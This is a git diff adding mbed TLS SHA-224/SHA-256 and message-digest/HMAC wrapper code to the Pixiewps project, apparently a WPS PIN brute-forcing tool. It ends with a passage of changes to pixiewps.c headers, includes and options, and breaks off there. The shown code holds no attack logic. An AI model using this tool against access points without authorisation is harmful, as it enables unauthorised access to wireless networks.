+ * + * \brief Generic message digest wrapper + * + * \author Adriaan de Jong + * + * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * This file is part of mbed TLS (https://tls.mbed.org) + */ +#ifndef MBEDTLS_MD_H +#define MBEDTLS_MD_H + +#include + +#define MBEDTLS_ERR_MD_FEATURE_UNAVAILABLE -0x5080 /**< The selected feature is not available. */ +#define MBEDTLS_ERR_MD_BAD_INPUT_DATA -0x5100 /**< Bad input parameters to function. */ +#define MBEDTLS_ERR_MD_ALLOC_FAILED -0x5180 /**< Failed to allocate memory. */ +#define MBEDTLS_ERR_MD_FILE_IO_ERROR -0x5200 /**< Opening or reading of file failed. */ + +typedef enum { + MBEDTLS_MD_NONE = 0, + MBEDTLS_MD_SHA224, + MBEDTLS_MD_SHA256, +} mbedtls_md_type_t; + +#define MBEDTLS_MD_MAX_SIZE 32 /* longest known is SHA256 or less */ + +/** + * Opaque struct defined in md_internal.h + */ +typedef struct mbedtls_md_info_t mbedtls_md_info_t; + +/** + * Generic message digest context. + */ +typedef struct { + /** Information about the associated message digest */ + const mbedtls_md_info_t *md_info; + + /** Digest-specific context */ + void *md_ctx; + + /** HMAC part of the context */ + void *hmac_ctx; +} mbedtls_md_context_t; + +/** + * \brief Returns the list of digests supported by the generic digest module. + * + * \return a statically allocated array of digests, the last entry + * is 0. + */ +const int *mbedtls_md_list( void ); + +/** + * \brief Returns the message digest information associated with the + * given digest name. + * + * \param md_name Name of the digest to search for. + * + * \return The message digest information associated with md_name or + * NULL if not found. + */ +const mbedtls_md_info_t *mbedtls_md_info_from_string( const char *md_name ); + +/** + * \brief Returns the message digest information associated with the + * given digest type. + * + * \param md_type type of digest to search for. + * + * \return The message digest information associated with md_type or + * NULL if not found. + */ +const mbedtls_md_info_t *mbedtls_md_info_from_type( mbedtls_md_type_t md_type ); + +/** + * \brief Initialize a md_context (as NONE) + * This should always be called first. + * Prepares the context for mbedtls_md_setup() or mbedtls_md_free(). + */ +void mbedtls_md_init( mbedtls_md_context_t *ctx ); + +/** + * \brief Free and clear the internal structures of ctx. + * Can be called at any time after mbedtls_md_init(). + * Mandatory once mbedtls_md_setup() has been called. + */ +void mbedtls_md_free( mbedtls_md_context_t *ctx ); + +#if ! defined(MBEDTLS_DEPRECATED_REMOVED) +#if defined(MBEDTLS_DEPRECATED_WARNING) +#define MBEDTLS_DEPRECATED __attribute__((deprecated)) +#else +#define MBEDTLS_DEPRECATED +#endif +/** + * \brief Select MD to use and allocate internal structures. + * Should be called after mbedtls_md_init() or mbedtls_md_free(). + * Makes it necessary to call mbedtls_md_free() later. + * + * \deprecated Superseded by mbedtls_md_setup() in 2.0.0 + * + * \param ctx Context to set up. + * \param md_info Message digest to use. + * + * \returns \c 0 on success, + * \c MBEDTLS_ERR_MD_BAD_INPUT_DATA on parameter failure, + * \c MBEDTLS_ERR_MD_ALLOC_FAILED memory allocation failure. + */ +int mbedtls_md_init_ctx( mbedtls_md_context_t *ctx, const mbedtls_md_info_t *md_info ) MBEDTLS_DEPRECATED; +#undef MBEDTLS_DEPRECATED +#endif /* MBEDTLS_DEPRECATED_REMOVED */ + +/** + * \brief Select MD to use and allocate internal structures. + * Should be called after mbedtls_md_init() or mbedtls_md_free(). + * Makes it necessary to call mbedtls_md_free() later. + * + * \param ctx Context to set up. + * \param md_info Message digest to use. + * \param hmac 0 to save some memory if HMAC will not be used, + * non-zero is HMAC is going to be used with this context. + * + * \returns \c 0 on success, + * \c MBEDTLS_ERR_MD_BAD_INPUT_DATA on parameter failure, + * \c MBEDTLS_ERR_MD_ALLOC_FAILED memory allocation failure. + */ +int mbedtls_md_setup( mbedtls_md_context_t *ctx, const mbedtls_md_info_t *md_info, int hmac ); + +/** + * \brief Clone the state of an MD context + * + * \note The two contexts must have been setup to the same type + * (cloning from SHA-256 to SHA-512 make no sense). + * + * \warning Only clones the MD state, not the HMAC state! (for now) + * + * \param dst The destination context + * \param src The context to be cloned + * + * \return \c 0 on success, + * \c MBEDTLS_ERR_MD_BAD_INPUT_DATA on parameter failure. + */ +int mbedtls_md_clone( mbedtls_md_context_t *dst, + const mbedtls_md_context_t *src ); + +/** + * \brief Returns the size of the message digest output. + * + * \param md_info message digest info + * + * \return size of the message digest output in bytes. + */ +unsigned char mbedtls_md_get_size( const mbedtls_md_info_t *md_info ); + +/** + * \brief Returns the type of the message digest output. + * + * \param md_info message digest info + * + * \return type of the message digest output. + */ +mbedtls_md_type_t mbedtls_md_get_type( const mbedtls_md_info_t *md_info ); + +/** + * \brief Returns the name of the message digest output. + * + * \param md_info message digest info + * + * \return name of the message digest output. + */ +const char *mbedtls_md_get_name( const mbedtls_md_info_t *md_info ); + +/** + * \brief Prepare the context to digest a new message. + * Generally called after mbedtls_md_setup() or mbedtls_md_finish(). + * Followed by mbedtls_md_update(). + * + * \param ctx generic message digest context. + * + * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter + * verification fails. + */ +int mbedtls_md_starts( mbedtls_md_context_t *ctx ); + +/** + * \brief Generic message digest process buffer + * Called between mbedtls_md_starts() and mbedtls_md_finish(). + * May be called repeatedly. + * + * \param ctx Generic message digest context + * \param input buffer holding the datal + * \param ilen length of the input data + * + * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter + * verification fails. + */ +int mbedtls_md_update( mbedtls_md_context_t *ctx, const unsigned char *input, size_t ilen ); + +/** + * \brief Generic message digest final digest + * Called after mbedtls_md_update(). + * Usually followed by mbedtls_md_free() or mbedtls_md_starts(). + * + * \param ctx Generic message digest context + * \param output Generic message digest checksum result + * + * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter + * verification fails. + */ +int mbedtls_md_finish( mbedtls_md_context_t *ctx, unsigned char *output ); + +/** + * \brief Output = message_digest( input buffer ) + * + * \param md_info message digest info + * \param input buffer holding the data + * \param ilen length of the input data + * \param output Generic message digest checksum result + * + * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter + * verification fails. + */ +int mbedtls_md( const mbedtls_md_info_t *md_info, const unsigned char *input, size_t ilen, + unsigned char *output ); + +#if defined(MBEDTLS_FS_IO) +/** + * \brief Output = message_digest( file contents ) + * + * \param md_info message digest info + * \param path input file name + * \param output generic message digest checksum result + * + * \return 0 if successful, + * MBEDTLS_ERR_MD_FILE_IO_ERROR if file input failed, + * MBEDTLS_ERR_MD_BAD_INPUT_DATA if md_info was NULL. + */ +int mbedtls_md_file( const mbedtls_md_info_t *md_info, const char *path, + unsigned char *output ); +#endif /* MBEDTLS_FS_IO */ + +/** + * \brief Set HMAC key and prepare to authenticate a new message. + * Usually called after mbedtls_md_setup() or mbedtls_md_hmac_finish(). + * + * \param ctx HMAC context + * \param key HMAC secret key + * \param keylen length of the HMAC key in bytes + * + * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter + * verification fails. + */ +int mbedtls_md_hmac_starts( mbedtls_md_context_t *ctx, const unsigned char *key, + size_t keylen ); + +/** + * \brief Generic HMAC process buffer. + * Called between mbedtls_md_hmac_starts() or mbedtls_md_hmac_reset() + * and mbedtls_md_hmac_finish(). + * May be called repeatedly. + * + * \param ctx HMAC context + * \param input buffer holding the data + * \param ilen length of the input data + * + * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter + * verification fails. + */ +int mbedtls_md_hmac_update( mbedtls_md_context_t *ctx, const unsigned char *input, + size_t ilen ); + +/** + * \brief Output HMAC. + * Called after mbedtls_md_hmac_update(). + * Usually followed my mbedtls_md_hmac_reset(), mbedtls_md_hmac_starts(), + * or mbedtls_md_free(). + * + * \param ctx HMAC context + * \param output Generic HMAC checksum result + * + * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter + * verification fails. + */ +int mbedtls_md_hmac_finish( mbedtls_md_context_t *ctx, unsigned char *output); + +/** + * \brief Prepare to authenticate a new message with the same key. + * Called after mbedtls_md_hmac_finish() and before mbedtls_md_hmac_update(). + * + * \param ctx HMAC context to be reset + * + * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter + * verification fails. + */ +int mbedtls_md_hmac_reset( mbedtls_md_context_t *ctx ); + +/** + * \brief Output = Generic_HMAC( hmac key, input buffer ) + * + * \param md_info message digest info + * \param key HMAC secret key + * \param keylen length of the HMAC key in bytes + * \param input buffer holding the data + * \param ilen length of the input data + * \param output Generic HMAC-result + * + * \returns 0 on success, MBEDTLS_ERR_MD_BAD_INPUT_DATA if parameter + * verification fails. + */ +int mbedtls_md_hmac( const mbedtls_md_info_t *md_info, const unsigned char *key, size_t keylen, + const unsigned char *input, size_t ilen, + unsigned char *output ); + +/* Internal use */ +int mbedtls_md_process( mbedtls_md_context_t *ctx, const unsigned char *data ); + +#endif /* MBEDTLS_MD_H */ diff --git a/src/crypto/md_internal.h b/src/crypto/md_internal.h new file mode 100644 index 0000000..928295e --- /dev/null +++ b/src/crypto/md_internal.h @@ -0,0 +1,79 @@ +/** + * \file md_internal.h + * + * \brief Message digest wrappers. + * + * \warning This in an internal header. Do not include directly. + * + * \author Adriaan de Jong + * + * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * This file is part of mbed TLS (https://tls.mbed.org) + */ +#ifndef MBEDTLS_MD_WRAP_H +#define MBEDTLS_MD_WRAP_H + +#include "md.h" + +/** + * Message digest information. + * Allows message digest functions to be called in a generic way. + */ +struct mbedtls_md_info_t +{ + /** Digest identifier */ + mbedtls_md_type_t type; + + /** Name of the message digest */ + const char * name; + + /** Output length of the digest function in bytes */ + int size; + + /** Block length of the digest function in bytes */ + int block_size; + + /** Digest initialisation function */ + void (*starts_func)( void *ctx ); + + /** Digest update function */ + void (*update_func)( void *ctx, const unsigned char *input, size_t ilen ); + + /** Digest finalisation function */ + void (*finish_func)( void *ctx, unsigned char *output ); + + /** Generic digest function */ + void (*digest_func)( const unsigned char *input, size_t ilen, + unsigned char *output ); + + /** Allocate a new context */ + void * (*ctx_alloc_func)( void ); + + /** Free the given context */ + void (*ctx_free_func)( void *ctx ); + + /** Clone state from a context */ + void (*clone_func)( void *dst, const void *src ); + + /** Internal use only */ + void (*process_func)( void *ctx, const unsigned char *input ); +}; + +extern const mbedtls_md_info_t mbedtls_sha224_info; +extern const mbedtls_md_info_t mbedtls_sha256_info; + +#endif /* MBEDTLS_MD_WRAP_H */ diff --git a/src/crypto/md_wrap.c b/src/crypto/md_wrap.c new file mode 100644 index 0000000..aa7070c --- /dev/null +++ b/src/crypto/md_wrap.c @@ -0,0 +1,122 @@ +/** + * \file md_wrap.c + * + * \brief Generic message digest wrapper for mbed TLS + * + * \author Adriaan de Jong + * + * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * This file is part of mbed TLS (https://tls.mbed.org) + */ + +#include + +#include "md_internal.h" +#include "sha256.h" + +#define mbedtls_calloc calloc +#define mbedtls_free free + +static void sha224_starts_wrap( void *ctx ) +{ + mbedtls_sha256_starts( (mbedtls_sha256_context *) ctx, 1 ); +} + +static void sha224_update_wrap( void *ctx, const unsigned char *input, + size_t ilen ) +{ + mbedtls_sha256_update( (mbedtls_sha256_context *) ctx, input, ilen ); +} + +static void sha224_finish_wrap( void *ctx, unsigned char *output ) +{ + mbedtls_sha256_finish( (mbedtls_sha256_context *) ctx, output ); +} + +static void sha224_wrap( const unsigned char *input, size_t ilen, + unsigned char *output ) +{ + mbedtls_sha256( input, ilen, output, 1 ); +} + +static void *sha224_ctx_alloc( void ) +{ + void *ctx = mbedtls_calloc( 1, sizeof( mbedtls_sha256_context ) ); + + if( ctx != NULL ) + mbedtls_sha256_init( (mbedtls_sha256_context *) ctx ); + + return( ctx ); +} + +static void sha224_ctx_free( void *ctx ) +{ + mbedtls_sha256_free( (mbedtls_sha256_context *) ctx ); + mbedtls_free( ctx ); +} + +static void sha224_clone_wrap( void *dst, const void *src ) +{ + mbedtls_sha256_clone( (mbedtls_sha256_context *) dst, + (const mbedtls_sha256_context *) src ); +} + +static void sha224_process_wrap( void *ctx, const unsigned char *data ) +{ + mbedtls_sha256_process( (mbedtls_sha256_context *) ctx, data ); +} + +const mbedtls_md_info_t mbedtls_sha224_info = { + MBEDTLS_MD_SHA224, + "SHA224", + 28, + 64, + sha224_starts_wrap, + sha224_update_wrap, + sha224_finish_wrap, + sha224_wrap, + sha224_ctx_alloc, + sha224_ctx_free, + sha224_clone_wrap, + sha224_process_wrap, +}; + +static void sha256_starts_wrap( void *ctx ) +{ + mbedtls_sha256_starts( (mbedtls_sha256_context *) ctx, 0 ); +} + +static void sha256_wrap( const unsigned char *input, size_t ilen, + unsigned char *output ) +{ + mbedtls_sha256( input, ilen, output, 0 ); +} + +const mbedtls_md_info_t mbedtls_sha256_info = { + MBEDTLS_MD_SHA256, + "SHA256", + 32, + 64, + sha256_starts_wrap, + sha224_update_wrap, + sha224_finish_wrap, + sha256_wrap, + sha224_ctx_alloc, + sha224_ctx_free, + sha224_clone_wrap, + sha224_process_wrap, +}; diff --git a/src/crypto/sha256.c b/src/crypto/sha256.c new file mode 100644 index 0000000..55749ea --- /dev/null +++ b/src/crypto/sha256.c @@ -0,0 +1,315 @@ +/* + * FIPS-180-2 compliant SHA-256 implementation + * + * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * This file is part of mbed TLS (https://tls.mbed.org) + */ +/* + * The SHA-256 Secure Hash Standard was published by NIST in 2002. + * + * http://csrc.nist.gov/publications/fips/fips180-2/fips180-2.pdf + */ + +#include +#include +#include + +#include "sha256.h" + +/* Implementation that should never be optimized out by the compiler */ +static void mbedtls_zeroize( void *v, size_t n ) { + volatile unsigned char *p = v; while( n-- ) *p++ = 0; +} + +/* + * 32-bit integer manipulation macros (big endian) + */ +#ifndef GET_UINT32_BE +#define GET_UINT32_BE(n,b,i) \ +do { \ + (n) = ( (uint32_t) (b)[(i) ] << 24 ) \ + | ( (uint32_t) (b)[(i) + 1] << 16 ) \ + | ( (uint32_t) (b)[(i) + 2] << 8 ) \ + | ( (uint32_t) (b)[(i) + 3] ); \ +} while( 0 ) +#endif + +#ifndef PUT_UINT32_BE +#define PUT_UINT32_BE(n,b,i) \ +do { \ + (b)[(i) ] = (unsigned char) ( (n) >> 24 ); \ + (b)[(i) + 1] = (unsigned char) ( (n) >> 16 ); \ + (b)[(i) + 2] = (unsigned char) ( (n) >> 8 ); \ + (b)[(i) + 3] = (unsigned char) ( (n) ); \ +} while( 0 ) +#endif + +void mbedtls_sha256_init( mbedtls_sha256_context *ctx ) +{ + memset( ctx, 0, sizeof( mbedtls_sha256_context ) ); +} + +void mbedtls_sha256_free( mbedtls_sha256_context *ctx ) +{ + if( ctx == NULL ) + return; + + mbedtls_zeroize( ctx, sizeof( mbedtls_sha256_context ) ); +} + +void mbedtls_sha256_clone( mbedtls_sha256_context *dst, + const mbedtls_sha256_context *src ) +{ + *dst = *src; +} + +/* + * SHA-256 context setup + */ +void mbedtls_sha256_starts( mbedtls_sha256_context *ctx, int is224 ) +{ + ctx->total[0] = 0; + ctx->total[1] = 0; + + if( is224 == 0 ) + { + /* SHA-256 */ + ctx->state[0] = 0x6A09E667; + ctx->state[1] = 0xBB67AE85; + ctx->state[2] = 0x3C6EF372; + ctx->state[3] = 0xA54FF53A; + ctx->state[4] = 0x510E527F; + ctx->state[5] = 0x9B05688C; + ctx->state[6] = 0x1F83D9AB; + ctx->state[7] = 0x5BE0CD19; + } + else + { + /* SHA-224 */ + ctx->state[0] = 0xC1059ED8; + ctx->state[1] = 0x367CD507; + ctx->state[2] = 0x3070DD17; + ctx->state[3] = 0xF70E5939; + ctx->state[4] = 0xFFC00B31; + ctx->state[5] = 0x68581511; + ctx->state[6] = 0x64F98FA7; + ctx->state[7] = 0xBEFA4FA4; + } + + ctx->is224 = is224; +} + +#if !defined(MBEDTLS_SHA256_PROCESS_ALT) +static const uint32_t K[] = +{ + 0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5, + 0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5, + 0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3, + 0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174, + 0xE49B69C1, 0xEFBE4786, 0x0FC19DC6, 0x240CA1CC, + 0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA, + 0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7, + 0xC6E00BF3, 0xD5A79147, 0x06CA6351, 0x14292967, + 0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13, + 0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85, + 0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3, + 0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070, + 0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5, + 0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3, + 0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208, + 0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2, +}; + +#define SHR(x,n) ((x & 0xFFFFFFFF) >> n) +#define ROTR(x,n) (SHR(x,n) | (x << (32 - n))) + +#define S0(x) (ROTR(x, 7) ^ ROTR(x,18) ^ SHR(x, 3)) +#define S1(x) (ROTR(x,17) ^ ROTR(x,19) ^ SHR(x,10)) + +#define S2(x) (ROTR(x, 2) ^ ROTR(x,13) ^ ROTR(x,22)) +#define S3(x) (ROTR(x, 6) ^ ROTR(x,11) ^ ROTR(x,25)) + +#define F0(x,y,z) ((x & y) | (z & (x | y))) +#define F1(x,y,z) (z ^ (x & (y ^ z))) + +#define R(t) \ +( \ + W[t] = S1(W[t - 2]) + W[t - 7] + \ + S0(W[t - 15]) + W[t - 16] \ +) + +#define P(a,b,c,d,e,f,g,h,x,K) \ +{ \ + temp1 = h + S3(e) + F1(e,f,g) + K + x; \ + temp2 = S2(a) + F0(a,b,c); \ + d += temp1; h = temp1 + temp2; \ +} + +void mbedtls_sha256_process( mbedtls_sha256_context *ctx, const unsigned char data[64] ) +{ + uint32_t temp1, temp2, W[64]; + uint32_t A[8]; + unsigned int i; + + for( i = 0; i < 8; i++ ) + A[i] = ctx->state[i]; + +#if defined(MBEDTLS_SHA256_SMALLER) + for( i = 0; i < 64; i++ ) + { + if( i < 16 ) + GET_UINT32_BE( W[i], data, 4 * i ); + else + R( i ); + + P( A[0], A[1], A[2], A[3], A[4], A[5], A[6], A[7], W[i], K[i] ); + + temp1 = A[7]; A[7] = A[6]; A[6] = A[5]; A[5] = A[4]; A[4] = A[3]; + A[3] = A[2]; A[2] = A[1]; A[1] = A[0]; A[0] = temp1; + } +#else /* MBEDTLS_SHA256_SMALLER */ + for( i = 0; i < 16; i++ ) + GET_UINT32_BE( W[i], data, 4 * i ); + + for( i = 0; i < 16; i += 8 ) + { + P( A[0], A[1], A[2], A[3], A[4], A[5], A[6], A[7], W[i+0], K[i+0] ); + P( A[7], A[0], A[1], A[2], A[3], A[4], A[5], A[6], W[i+1], K[i+1] ); + P( A[6], A[7], A[0], A[1], A[2], A[3], A[4], A[5], W[i+2], K[i+2] ); + P( A[5], A[6], A[7], A[0], A[1], A[2], A[3], A[4], W[i+3], K[i+3] ); + P( A[4], A[5], A[6], A[7], A[0], A[1], A[2], A[3], W[i+4], K[i+4] ); + P( A[3], A[4], A[5], A[6], A[7], A[0], A[1], A[2], W[i+5], K[i+5] ); + P( A[2], A[3], A[4], A[5], A[6], A[7], A[0], A[1], W[i+6], K[i+6] ); + P( A[1], A[2], A[3], A[4], A[5], A[6], A[7], A[0], W[i+7], K[i+7] ); + } + + for( i = 16; i < 64; i += 8 ) + { + P( A[0], A[1], A[2], A[3], A[4], A[5], A[6], A[7], R(i+0), K[i+0] ); + P( A[7], A[0], A[1], A[2], A[3], A[4], A[5], A[6], R(i+1), K[i+1] ); + P( A[6], A[7], A[0], A[1], A[2], A[3], A[4], A[5], R(i+2), K[i+2] ); + P( A[5], A[6], A[7], A[0], A[1], A[2], A[3], A[4], R(i+3), K[i+3] ); + P( A[4], A[5], A[6], A[7], A[0], A[1], A[2], A[3], R(i+4), K[i+4] ); + P( A[3], A[4], A[5], A[6], A[7], A[0], A[1], A[2], R(i+5), K[i+5] ); + P( A[2], A[3], A[4], A[5], A[6], A[7], A[0], A[1], R(i+6), K[i+6] ); + P( A[1], A[2], A[3], A[4], A[5], A[6], A[7], A[0], R(i+7), K[i+7] ); + } +#endif /* MBEDTLS_SHA256_SMALLER */ + + for( i = 0; i < 8; i++ ) + ctx->state[i] += A[i]; +} + +/* + * SHA-256 process buffer + */ +void mbedtls_sha256_update( mbedtls_sha256_context *ctx, const unsigned char *input, + size_t ilen ) +{ + size_t fill; + uint32_t left; + + if( ilen == 0 ) + return; + + left = ctx->total[0] & 0x3F; + fill = 64 - left; + + ctx->total[0] += (uint32_t) ilen; + ctx->total[0] &= 0xFFFFFFFF; + + if( ctx->total[0] < (uint32_t) ilen ) + ctx->total[1]++; + + if( left && ilen >= fill ) + { + memcpy( (void *) (ctx->buffer + left), input, fill ); + mbedtls_sha256_process( ctx, ctx->buffer ); + input += fill; + ilen -= fill; + left = 0; + } + + while( ilen >= 64 ) + { + mbedtls_sha256_process( ctx, input ); + input += 64; + ilen -= 64; + } + + if( ilen > 0 ) + memcpy( (void *) (ctx->buffer + left), input, ilen ); +} + +static const unsigned char sha256_padding[64] = +{ + 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 +}; + +/* + * SHA-256 final digest + */ +void mbedtls_sha256_finish( mbedtls_sha256_context *ctx, unsigned char output[32] ) +{ + uint32_t last, padn; + uint32_t high, low; + unsigned char msglen[8]; + + high = ( ctx->total[0] >> 29 ) + | ( ctx->total[1] << 3 ); + low = ( ctx->total[0] << 3 ); + + PUT_UINT32_BE( high, msglen, 0 ); + PUT_UINT32_BE( low, msglen, 4 ); + + last = ctx->total[0] & 0x3F; + padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last ); + + mbedtls_sha256_update( ctx, sha256_padding, padn ); + mbedtls_sha256_update( ctx, msglen, 8 ); + + PUT_UINT32_BE( ctx->state[0], output, 0 ); + PUT_UINT32_BE( ctx->state[1], output, 4 ); + PUT_UINT32_BE( ctx->state[2], output, 8 ); + PUT_UINT32_BE( ctx->state[3], output, 12 ); + PUT_UINT32_BE( ctx->state[4], output, 16 ); + PUT_UINT32_BE( ctx->state[5], output, 20 ); + PUT_UINT32_BE( ctx->state[6], output, 24 ); + + if( ctx->is224 == 0 ) + PUT_UINT32_BE( ctx->state[7], output, 28 ); +} + +#endif /* !MBEDTLS_SHA256_ALT */ + +/* + * output = SHA-256( input buffer ) + */ +void mbedtls_sha256( const unsigned char *input, size_t ilen, + unsigned char output[32], int is224 ) +{ + mbedtls_sha256_context ctx; + + mbedtls_sha256_init( &ctx ); + mbedtls_sha256_starts( &ctx, is224 ); + mbedtls_sha256_update( &ctx, input, ilen ); + mbedtls_sha256_finish( &ctx, output ); + mbedtls_sha256_free( &ctx ); +} diff --git a/src/crypto/sha256.h b/src/crypto/sha256.h new file mode 100644 index 0000000..87cdb32 --- /dev/null +++ b/src/crypto/sha256.h @@ -0,0 +1,104 @@ +/** + * \file mbedtls_sha256.h + * + * \brief SHA-224 and SHA-256 cryptographic hash function + * + * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * This file is part of mbed TLS (https://tls.mbed.org) + */ +#ifndef MBEDTLS_SHA256_H +#define MBEDTLS_SHA256_H + +#include +#include + +/** + * \brief SHA-256 context structure + */ +typedef struct +{ + uint32_t total[2]; /*!< number of bytes processed */ + uint32_t state[8]; /*!< intermediate digest state */ + unsigned char buffer[64]; /*!< data block being processed */ + int is224; /*!< 0 => SHA-256, else SHA-224 */ +} +mbedtls_sha256_context; + +/** + * \brief Initialize SHA-256 context + * + * \param ctx SHA-256 context to be initialized + */ +void mbedtls_sha256_init( mbedtls_sha256_context *ctx ); + +/** + * \brief Clear SHA-256 context + * + * \param ctx SHA-256 context to be cleared + */ +void mbedtls_sha256_free( mbedtls_sha256_context *ctx ); + +/** + * \brief Clone (the state of) a SHA-256 context + * + * \param dst The destination context + * \param src The context to be cloned + */ +void mbedtls_sha256_clone( mbedtls_sha256_context *dst, + const mbedtls_sha256_context *src ); + +/** + * \brief SHA-256 context setup + * + * \param ctx context to be initialized + * \param is224 0 = use SHA256, 1 = use SHA224 + */ +void mbedtls_sha256_starts( mbedtls_sha256_context *ctx, int is224 ); + +/** + * \brief SHA-256 process buffer + * + * \param ctx SHA-256 context + * \param input buffer holding the data + * \param ilen length of the input data + */ +void mbedtls_sha256_update( mbedtls_sha256_context *ctx, const unsigned char *input, + size_t ilen ); + +/** + * \brief SHA-256 final digest + * + * \param ctx SHA-256 context + * \param output SHA-224/256 checksum result + */ +void mbedtls_sha256_finish( mbedtls_sha256_context *ctx, unsigned char output[32] ); + +/* Internal use */ +void mbedtls_sha256_process( mbedtls_sha256_context *ctx, const unsigned char data[64] ); + +/** + * \brief Output = SHA-256( input buffer ) + * + * \param input buffer holding the data + * \param ilen length of the input data + * \param output SHA-224/256 checksum result + * \param is224 0 = use SHA256, 1 = use SHA224 + */ +void mbedtls_sha256( const unsigned char *input, size_t ilen, + unsigned char output[32], int is224 ); + +#endif /* MBEDTLS_SHA256_H */ diff --git a/src/pixiewps.c b/src/pixiewps.c index 5e1d35b..0a2b705 100644 --- a/src/pixiewps.c +++ b/src/pixiewps.c @@ -2,13 +2,8 @@ * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). * All credits for the research go to Dominique Bongard. * - * Special thanks to: datahead, soxrok2212 - * * Copyright (c) 2015, wiire - * Version: 1.1 - * - * DISCLAIMER: This tool was made for educational purposes only. - * The author is NOT responsible for any misuse or abuse. + * SPDX-License-Identifier: GPL-3.0 * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -22,19 +17,6 @@ * * You should have received a copy of the GNU General Public License * along with this program. If not, see . - * - * In addition, as a special exception, the copyright holders give - * permission to link the code of portions of this program with the - * OpenSSL library under certain conditions as described in each - * individual source file, and distribute linked combinations - * including the two. - * You must obey the GNU General Public License in all respects - * for all of the code used other than OpenSSL. If you modify - * file(s) with this exception, you may extend this exception to your - * version of the file(s), but you are not obligated to do so. If you - * do not wish to do so, delete this exception statement from your - * version. If you delete this exception statement from all source - * files in the program, then also delete it here. */ #include @@ -47,13 +29,19 @@ #include -#include "utils.h" #include "pixiewps.h" +#include "wps.h" #include "random_r.h" +#include "config.h" +#include "utils.h" +#include "version.h" -int32_t rand_r(uint32_t *seed); +uint32_t rand_r_simplest(uint32_t *seed); +uint32_t rand_r(uint32_t *seed); +uint32_t knuth_rand(uint32_t *seed); +uint_fast8_t crack(struct global *g, uint_fast32_t *pin); -static const char *option_string = "e:r:s:z:a:n:m:b:Sfv:h?"; +static const char *option_string = "e:r:s:z:a:n:m:b:Sfv:Vh?"; static const struct option long_options[] = { { "pke", required_argument, 0, 'e' }, { "pkr", required_argument, 0, 'r' }, @@ 